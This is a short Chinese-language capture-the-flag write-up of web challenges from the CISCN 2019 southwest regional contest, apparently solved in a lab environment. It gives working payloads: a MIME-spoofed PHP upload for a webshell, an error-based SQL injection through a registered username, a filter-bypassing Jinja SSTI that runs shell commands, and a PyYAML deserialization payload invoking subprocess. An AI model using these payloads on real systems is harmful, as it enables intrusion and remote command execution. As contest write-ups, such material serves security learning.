CISCN2019-西南赛区部分Web题解
@Author: Patrilic
@Time: 2019-06-10 15:08:02
拿了个第四..师傅们tql,没想到纯Web队伍也有翻身的一天(滑稽)
Ciscn-q07
先注册一个admin’# 的账号然后直接文件上传
直接传php(不用<?php)
改mime为image/jpeg就getshell了..
判定了一个admin的权限
Ciscn-q09
注册用户登陆的时候,发现存在sql注入
登陆进去之后发现注释有提示,存在admin的账号,注册一个用户名为下面的账号,登陆即可注入admin的密码1
username='&& extractvalue(1,concat(0x7e,(select `3` from (select 1,2,3 union select * from user)a limit 1,1)))#
用admin的账号和密码登陆提示orange的SSRF,可控url就是bug反馈
携带cookie去请求flag.php即可获得flag
Ciscn 8
URL:172.16.9.18
看着有计算功能,并且是PY,直接想SSTI,试了下 2
得到输出结果为2,确定了SSTI
然后就是用payload了,不过测试过程中发现了两个过滤的点 一个是括号,一个是open字符串,不过都可以用双写来绕过 括号只是单独的括号就会被置换为空,如果里面有字符的话就不会置换为空 比如 () 要用 (()) 绕, open 要用 opopenen 绕
于是最终的payload为1
{{"".__class__.__mro__.__getitem__(1).__subclasses__(())[302].__init__.__globals__['poopenpen']('cat flag').read(())}}
Ciscn 10
URL: 172.16.9.20
点击忘记密码
修改后可直接登录admin
猜测yaml命令执行
执行ls结果
Payload:1
2
3
4!!map {
? !!str "goodbye"
: !!python/object/apply:subprocess.check_output [
!!str "ls",],}
准备构造payload 进行cat /flag时发现别人上传了5.yml
直接访问即可:
flag{81595b84-317b-434a-b45f-6aea2c37722c}